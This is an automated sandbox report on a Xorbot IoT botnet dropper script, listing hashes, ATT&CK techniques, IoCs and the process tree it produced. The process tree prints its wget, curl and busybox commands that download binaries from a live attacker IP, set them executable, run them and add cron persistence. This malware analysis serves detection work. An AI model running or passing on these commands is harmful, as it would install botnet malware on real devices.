xorbot | 79b5cadd9bb700d3446289f5ac8ecad6f8e606156c382d8ad1b6674f932f448c

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04/01/2025, 23:13

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General

Target

bins.sh
Size

10KB
MD5

7c714b6d0c1399d40ab78b0317f4334a
SHA1

805134873e170312f57b442b64492c6576988455
SHA256

79b5cadd9bb700d3446289f5ac8ecad6f8e606156c382d8ad1b6674f932f448c
SHA512

0016bc8db531ccca54fe53c2d1f65eb210927fda8fa26f9133942647ff4647e5c86c370a582c398dce2f5cbb78c3774a0baf7faca539fb24c4ce7abebdd29059
SSDEEP

192:F8TJrqjzbDk4gpO2DC+GzDOCC+GzDsTJ4zbDk4A:FUqkpO2Xi

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1533) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
802	chmod
809	chmod
743	chmod
751	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	744	hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
/tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G	753	ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
/tmp/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x	803	VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
/tmp/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa	810	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa

Renames itself 1 IoCs

pid	Process
811	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Xgky6i	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/873/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/881/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/900/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/929/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/71/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/76/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/861/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/876/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/935/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/970/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/676/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/864/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/882/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/906/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/907/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/969/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/384/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/942/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/990/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/389/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/799/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/879/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/940/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/952/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/868/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/928/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/687/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/709/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/866/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/24/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/68/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/722/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/858/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/898/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/885/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/903/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/972/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/382/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/887/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/914/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/943/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/945/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/933/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/817/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/73/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/860/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/894/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/901/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/931/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/944/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/3/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/791/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/892/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/904/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/981/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/22/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/704/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/821/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/883/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/939/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/19/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
File opened for reading	/proc/16/cmdline	UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	curl
File opened for modification	/tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G	curl
File opened for modification	/tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G	busybox
File opened for modification	/tmp/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x	wget
File opened for modification	/tmp/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa	curl
File opened for modification	/tmp/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa	wget
File opened for modification	/tmp/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa	busybox
File opened for modification	/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	wget
File opened for modification	/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq	busybox
File opened for modification	/tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G	wget
File opened for modification	/tmp/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x	curl
File opened for modification	/tmp/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:713
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:716
- /usr/bin/wget
  wget http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  ./hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq
  2⤵
  PID:746
- /usr/bin/wget
  wget http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  ./ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm ialFkFB5FBuqB57nsfHVRUAVUc43b3099G
  2⤵
  PID:756
- /usr/bin/wget
  wget http://66.63.187.225/bins/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  2⤵
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  ./VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x
  2⤵
  PID:805
- /usr/bin/wget
  wget http://66.63.187.225/bins/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  ./UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:810
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:812
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:813
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:814
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:815
- /bin/rm
  rm UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa
  2⤵
  PID:817
- /usr/bin/wget
  wget http://66.63.187.225/bins/vcY9qXicKuXMLMdtdTeeku2sNIf36BAEPK
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/vcY9qXicKuXMLMdtdTeeku2sNIf36BAEPK
  2⤵
  PID:821

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/UiNvonxvV8AaZvTf2PSfEjvlZmTKrsITOa

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/VuJFqTRuPN1LVRoIz8AOjbFTncayrlJn7x

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/hMzWBEzoIY8mOuDWTQ5ZWnT5DTiRGCR3Lq

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/ialFkFB5FBuqB57nsfHVRUAVUc43b3099G

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.Xgky6i

Filesize
210B

MD5
d1478e5ad6bd25aa46d7000dff474e9c

SHA1
f43f10c5fc00a7ab04febbe57543f810969c7f78

SHA256
6746486a394d7fedfe58b5d658abff48e165562b36ff78c3d5e291f7e11f4c50

SHA512
930a5031588aa47e273bc872ddb65a0b1129b86e6f91bc5b7f11d138e504438deb744e4112f0079915f4bfbffd24e3bc38da2a2e8b0f25bff1cf239d19fdf95d

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads